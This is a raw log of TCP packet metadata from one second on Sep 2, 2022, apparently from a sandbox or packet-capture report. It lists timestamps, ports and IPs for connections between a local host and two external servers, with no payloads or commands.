Sep 2, 2022 14:02:31.009802103 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.009864092 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.009898901 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.009913921 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.009958982 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.010054111 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.010243893 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.011729956 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.137099028 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.137168884 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.137203932 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.137223959 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.137242079 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.137278080 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.137321949 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.137332916 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.137357950 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.137371063 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.137795925 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.137840033 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.137872934 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.137897968 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.137907028 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.137933969 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.137960911 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.137974977 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.137991905 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.138001919 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.138804913 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.138843060 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.138890028 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.138921022 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.138940096 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.138978958 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.139025927 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.139039040 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.139075041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.139086962 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.139429092 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.139475107 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.139493942 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.139523029 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.139539003 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.139780045 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.139827967 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.139841080 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.139873981 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.139884949 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.139950991 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.139988899 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.140022993 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.140036106 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.140043974 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.140158892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.140198946 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.140218973 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.140244007 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.140264988 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.140713930 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.140755892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.140774965 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.140809059 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.140820026 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.140860081 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.140906096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.140918016 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.140950918 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.140961885 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.141282082 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.141324997 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.141343117 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.141372919 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.141388893 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.141436100 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.141479015 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.141495943 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.141525984 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.141558886 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.141829014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.141869068 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.141885996 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.141915083 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.141933918 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.142002106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.142059088 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.142086983 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.142116070 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.142148018 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.142525911 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.142565012 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.142585039 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.142612934 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.142632008 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.142798901 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.142838955 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.142857075 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.142884970 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.142901897 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.143130064 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.143172026 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.143197060 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.143227100 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.143239021 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.143301964 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.143340111 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.143373013 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.143399000 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.143425941 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.143731117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.143769979 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.143796921 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.143841028 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.143894911 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.143935919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.143960953 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.143984079 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.144435883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.144488096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.144500971 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.144530058 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.144567966 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.144587040 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.144625902 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.144653082 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.144675016 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.144996881 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.145039082 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.145066023 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.145128965 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.145250082 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.145291090 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.145317078 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.145344973 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.145690918 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.145731926 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.145750999 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.145780087 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.145818949 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.145837069 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.145879984 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.145899057 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.145926952 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.145973921 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.146377087 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.146418095 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.146445036 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.146466017 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.146506071 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.146543026 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.146560907 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.146588087 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.146634102 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.147011995 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.147051096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.147078991 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.147108078 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.147249937 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.147290945 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.147319078 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.147339106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.147389889 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.147767067 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.147806883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.147834063 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.147857904 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.148021936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.148070097 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.148083925 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.148113012 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.148158073 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.148415089 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.148457050 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.148484945 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.148511887 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.219367027 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.220187902 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.227370977 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.227427959 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:31.227523088 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.227631092 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:31.250668049 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.250709057 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.250735998 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.250825882 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.250842094 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.250878096 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.250885963 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.250905037 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.250930071 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.250941038 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.250976086 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.250988960 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.251010895 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.251019955 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.251038074 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.251043081 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.251086950 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.251101017 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.251122952 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.251135111 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.251203060 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.251224041 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.251239061 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.251247883 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.251259089 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.251322985 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.251336098 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.251372099 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.251391888 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.251465082 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.251481056 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.251499891 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.251508951 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.251576900 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.251579046 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.251605034 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.251616001 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.251653910 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.251669884 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.251708984 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.251724958 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.251738071 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.251745939 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.251771927 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.251816988 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.251832008 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.251848936 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.251856089 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.251883984 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.251929045 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.251940966 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.251956940 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.251986027 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.252051115 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.262597084 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:31.262639046 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:31.262659073 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:31.262758017 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:31.262789011 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:31.427371979 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.427601099 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.463367939 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.463524103 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.467374086 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:31.467791080 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:31.675364971 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.679632902 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.682696104 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.683361053 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.732266903 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.734519005 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.744321108 CEST	49809	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:31.744338989 CEST	443	49809	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:31.831583023 CEST	443	49809	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:31.831655025 CEST	443	49809	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:31.831681967 CEST	443	49809	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:31.831717968 CEST	49809	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:31.831772089 CEST	49809	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:31.831783056 CEST	443	49809	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:31.832051992 CEST	49809	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:31.867363930 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.869597912 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.884843111 CEST	443	49809	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:31.884879112 CEST	443	49809	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:31.884968042 CEST	49809	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:31.884990931 CEST	443	49809	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:31.885003090 CEST	49809	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:31.885382891 CEST	49809	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:31.897974014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.897998095 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.898010969 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.898148060 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.899396896 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:31.899743080 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.899846077 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:31.899869919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.899884939 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.899904013 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.899919987 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.899935961 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.899971008 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.899986982 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.900001049 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.901097059 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.901122093 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.901134014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.901149988 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.901166916 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.901179075 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.901190996 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.901238918 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.901510954 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.901575089 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.901587009 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.901592970 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.901634932 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.901771069 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.901834965 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.901846886 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.901894093 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.902743101 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.902786970 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.902800083 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.902849913 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.902853966 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.902894974 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.902930021 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.902944088 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.902987957 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.903314114 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.903440952 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.903455019 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.903506041 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.903558016 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.903574944 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.903588057 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.903605938 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.903661013 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.904402018 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.904468060 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.904480934 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.904496908 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.904515028 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.904527903 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.904545069 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.904550076 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.904562950 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.904573917 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.904628992 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.904720068 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.904740095 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.904752970 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.904791117 CEST	49787	80	192.168.2.6	85.209.157.230
